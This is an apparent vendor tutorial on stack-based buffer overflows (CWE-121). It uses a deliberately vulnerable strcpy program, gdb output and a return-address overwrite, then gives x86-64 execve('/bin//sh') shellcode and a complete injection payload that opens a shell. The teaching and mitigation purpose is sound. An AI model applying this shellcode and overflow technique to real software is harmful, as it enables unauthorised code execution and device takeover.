The article explains Stack-based Buffer Overflow attacks (CWE-121), highlighting their mechanisms, severe consequences, and the lack of protections in embedded devices. It illustrates exploitation through altering return addresses and executing arbitrary code, emphasizing the vulnerability of systems without operating system constraints. The article underscores the importance of detecting and mitigating these vulnerabilities, recommending tools and safer programming practices for developers.
This article will explore Stack-based Buffer Overflow attacks (i.e., CWE-121): how they work, their consequences, and how they can be prevented. Stack-based Buffer Overflows have been the root cause of numerous CVEs. For example, in CVE-2021-35395 the Realtek Jungle SDK used for Wi-Fi chipsets in many IoT/embedded devices, has been exploited in the past to gain arbitrary code execution privileges.
The presence of Stack-based Buffer Overflows is especially concerning in embedded devices. Such devices often do not have operating system or memory segmentation constraints to prevent these attacks from occurring. This article attempts to educate the manufacturers, developers, and users of embedded devices about the technical details and dangers of Stack-based buffer overflows.
What is a Stack Buffer Overflow?
In computer programming, the call stack (which we will refer to just as the stack from here on) is a data structure that stores information about the active subroutines of a computer program. As a program invokes functions/subroutines, information such as function parameters, return addresses and various other memory pointers are pushed on top of the stack.
A buffer is a continuous segment of memory used to store multiple items of the same type in a computer program. For example, an ordered collection of characters can be stored in a buffer (this is often referred to as a string). Buffers have a finite size: they reserve a specific number of bytes within memory.
A buffer overflow occurs when the program writes more values to a buffer than the buffer has reserved space for. For example, a character buffer of size 10 can contain 10 bytes (each character being 1 byte) worth of information. If the program writes 11 characters/bytes worth of information to this buffer, then the buffer will be overflowed and memory outside of the buffer will be overwritten. What this overwritten memory contains is arbitrary: it could be unimportant, or it could affect the program’s behavior significantly when overwritten.
With the concepts of stacks and buffer overflows in mind, we can begin to understand what a stack-based buffer overflow entails. A stack-based buffer overflow occurs when a buffer on the stack is overflowed, overwriting memory related to the active subroutines of a computer program.
A malicious actor can use a stack-based buffer overflow to overwrite specific items on the call stack with intent, altering a program’s behavior. The next section will illustrate a case wherein a stack-based buffer overflow is used to change the return address of a function call.
Exploiting a Stack Buffer Overflow to Execute a Pre-Defined Function
When a function/subroutine of a computer program finishes execution, the program jumps back to the point where said function/subroutine was called. This point in the program is called the return address and is one of the items pushed onto the call-stack whenever a function is called. Think of the return address as the sender’s address when you receive mail. When you want to send mail back to the original sender, you use their return address.
If we craft a particular payload for a program that contains a stack-based buffer overflow, we can overwrite this return address to be whatever we wish. The new return address can be another function within the program, any arbitrary location in the program, or it can be an address within the overflowed buffer itself. When the function finishes execution, the program will jump to whatever location we wish it to.
Consider the following vulnerable C program:
void should_not_run() {
printf("You called a function that should never run!\n");
}
void dangerous_fn(char* payload) {
// stack buffer to overflow
char buffer[64];
strcpy(buffer, payload);
}
void main(int argc, char* argv[]) {
printf("You entered the payload \"%s\"\n", argv[1]);
dangerous_fn(argv[1]);
}
This program takes a string of characters as input, passes this string to a function (called dangerous_fn), which copies the string input to a buffer of size 64 (64 bytes). If the input string is less than 64 bytes, this program has no issues. However, if the input string is greater than 64 bytes, then a stack-based buffer overflow will occur.
This program defines another pre-defined function called should_not_run, which prints “You called a function that should never run!” when executed. As the name suggests, the program never executes this function through its normal control flow. However, if we craft a particular payload to exploit the stack-based buffer overflow present in the program, then we can trick the program to call should_not_run. This can be done by overriding the return address on the call stack to be the address at the start of should_not_run.
First, let’s observe what values are stored on the call stack when the program calls dangerous_fn, after our payload has been copied into the buffer. To do this, we will use gdb (the GNU debugger):
$ gdb vulnerable.out
…
(gdb) b dangerous_fn
Breakpoint 1 at 0x40179f: file vulnerable.c, line 11.
(gdb) r ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Starting program: /home/trevor/binary_experiments/stack_overflow_blog/vulnerable.out ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
You entered the payload “ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo”
Breakpoint 1, dangerous_fn (payload=0x7fffffffddc3 ‘o’
warning: Source file is more recent than executable.
11 strcpy(buffer, payload);
(gdb) n
12 }
(gdb) x/40x $sp
0x7fffffffd840:
0x7fffffffd850:
0x7fffffffd860:
0x7fffffffd870:
0x7fffffffd880:
0x7fffffffd890: 0xffffd8b0 0x00007fff
0x7fffffffd8a0: 0xffffda98 0x00007fff 0x00000000 0x00000002
0x7fffffffd8b0: 0x00000001 0x00000000 0x00401c2a 0x00000000
0x7fffffffd8c0: 0x00000000 0x00000020 0x004017b5 0x00000000
0x7fffffffd8d0: 0x00000000 0x00000002 0xffffda98 0x00007fff
We ran the program with a payload of 63 o’s. The hexadecimal representation of the letter o is 0x6f. The green section in the output above shows the 63 o’s that have been copied into the buffer.
The red section is the return address, which is currently set to 0x00000000004017fd. This is the address the program will jump to once dangerous_fn has finished its execution. You can see that this address is 9 bytes about from the end of our buffer. If we pad our input payload with 9 more bytes, and then top it off with the address of should_not_run, we can trick the program into executing should_not_run.
To get the address of should_not_run, we will again use gdb:
(gdb) info addr should_not_run
Symbol “should_not_run” is a function at address 0x401775.
So, the address we are looking to overwrite the return address with is 0x401775. We can craft a payload that includes these bytes by using the printf command, which can convert hexadecimal codes into characters:
$ ./vulnerable.out “oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo$(printf ‘\x75\x17\x40’)”
You entered the payload “oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooou@”
You called a function that should never run!
And just like that, we have exploited a stack-based buffer overflow to cause a program to execute a function that should never run!
Exploiting a Stack Buffer Overflow to Execute Arbitrary Code
While this is interesting, running pre-defined functions might not be inherently dangerous, the developer still left the function in the code after all. As alluded to before, stack-based buffer overflows can enable arbitrary code execution and a complete hijacking of a device’s CPU. To do this in our example program, we must craft an input payload that contains the instructions we want to execute, and then overwrite the return address of the dangerous_fn call to point back to the start of the overflowed buffer.
Let’s first identify what instructions we wish to run. Ideally, we would like to get a shell into the target device’s system, which would let us execute any command we wish without having to craft a full payload each time. The following bit of C-inline assembly lets us do this (arbitrary_code.c):
void main() {
__asm__(
// --- get values onto stack ---
"xor %rdx, %rdx;"
"push %rdx;"
"movq $0x68732f2f6e69622f, %rax;" // push "/bin//sh" onto stack
"push %rax;" // push executable filename onto on stack
"mov %rsp, %rbx;" // %rbx now points to the command on the stack
"push %rdx;"
"push %rbx;" // pointer to a pointer
// ---prep registers for execve syscall ---
"xor %rdx, %rdx;" // clear rbx register
"movq %rsp, %rsi;" // pointer to a pointer to commands/args
"movq %rbx, %rdi;" // points to filename
// --- make syscall to execute command with execve ---
"xor %rax, %rax;"
"add $59, %rax;"
"syscall;"
// --- exit the program ---
"add $32, %rsp;" // restore the stack pointer
"xor %rdi, %rdi;" // exit with code 0 (success)
"xor %rax, %rax;"
"add $60, %rax;"
"syscall;"
);
}
This code makes a system call (specifically execve) to the Linux kernel which requests to run /bin/sh. This command opens a shell that lets further commands be run. Executing this program on its own illustrates our desired behavior:
$ ./arbitrary_code.out
$ echo “I can run anything!”
I can run anything!
$
Using objdump, we can see the hexadecimal codes that make up this program:
$ objdump -d arbitrary_code.out | less
…
40174d: 48 31 d2 xor %rdx,%rdx
401750: 52 push %rdx
401751: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rax
401758: 2f 73 68
40175b: 50 push %rax
40175c: 48 89 e3 mov %rsp,%rbx
40175f: 52 push %rdx
401760: 53 push %rbx
401761: 48 31 d2 xor %rdx,%rdx
401764: 48 89 e6 mov %rsp,%rsi
401767: 48 89 df mov %rbx,%rdi
40176a: 48 31 c0 xor %rax,%rax
40176d: 48 83 c0 3b add $0x3b,%rax
401771: 0f 05 syscall
401773: 48 83 c4 20 add $0x20,%rsp
401777: 48 31 ff xor %rdi,%rdi
40177a: 48 31 c0 xor %rax,%rax
40177d: 48 83 c0 3c add $0x3c,%rax
401781: 0f 05 syscall
Please note that the exact assembly instructions and their corresponding hexadecimal representation will vary by the target operating system and CPU Instruction Set Architecture. In this case, I am running this sample on x86 processor and Linux.
In any case, concatenating this hexadecimal representation together lets us create our payload. I have also appended some extra bytes, including the memory address which points back to the start of the overflowed buffer:
$ ./vulnerable.out “$(printf “\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe3\x52\x53\x48\x31\xd2\x48\x89\xe6\x48\x89\xdf\x48
\x31\xc0\x48\x83\xc0\x3b\x0f\x05\x48\x83\xc4\x20\x48\x31\xff\x48\x31\xc0\x48\x83\xc0\x3c\x0f\x05\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x40\xd8\xff\xff\xff\x7f”)”
You entered the payload “H1�RH�/bin//shPH��RSH1�H��H��H1�H��;H�� H1�H1�H��<������������������@����”
$ echo “I can run anything!”
I can run anything!
$
This payload overwrites the return address of the call to dangerous_fn, pointing it back into our payload. Because our payload contains instructions to open a shell, this lets us hijack the target device. In an OS environment, this lets us (the attacker) gain the same execution privileges as the original process. If this original process was running as root, gaining near-full control of the target’s CPU is made possible by crafting a very particular (but still allowed) input payload.
In the embedded world, where an underlying operating system might not be present, the attacker could overflow the stack buffer with their own program (up to the size of the stack). This program could hijack the target embedded device, causing denial of service (DoS), dumping encryption keys to a serial interface, or propagating malware across the OT/IoT network.
Conclusion
Stack-based buffer overflow exploits are protected against by most modern operating systems through the implementation of memory segmentation and other constraints placed on user-space programs, and in modern hardware using a memory-management unit (MMU). To get this exploit working on my Linux installation, I had to make use of mprotect. This Linux syscall changes the access protections for the calling process’s memory, in my case letting me make stack memory executable. I did not include the source code I used to do this in the previous examples for the sake of simplicity.
Embedded devices (e.g., IoT/OT, etc.) often do not have such constraints, making them more vulnerable to stack-based buffer overflow attacks. For embedded devices, detecting stack-based buffer overflows can be performed by tools such as the ObjectSecurity OT.AI Platform, which detects memory-violations related to pointer boundaries. Finding such vulnerabilities manually, especially in the case of large firmware images, can prove quite difficult. The ObjectSecurity OT.AI Platform can aid your effort in mitigating the danger stack-based buffer overflows present to your organization.
If you are a developer, identifying stack-based buffer overflows in your code is crucial. Once identified, various remediations are possible. This includes sanitizing untrusted user input, placing size guards around buffer handling logic, and using safer alternatives to unsafe functions.
Resources
- You can learn more about CWE-121: Stack-based Buffer Overflow here: https://cwe.mitre.org/data/definitions/121.html
- Much of the exploits outline in this article are adapted from in Smashing The Stack For Fun and Profit here: https://insecure.org/stf/smashstack.html
- The x86-64bit payload used in the arbitrary code execution example was adapted in-part from here: https://gist.github.com/logiconcepts819/c71c8afb6eb248e267737ac56d5f5258
- You can learn more about Linux system calls (e.g., execve) here: https://filippo.io/linux-syscall-table/
- GDB can be found here: https://sourceware.org/gdb/
- Objdump can be found here: https://man7.org/linux/man-pages/man1/objdump.1.html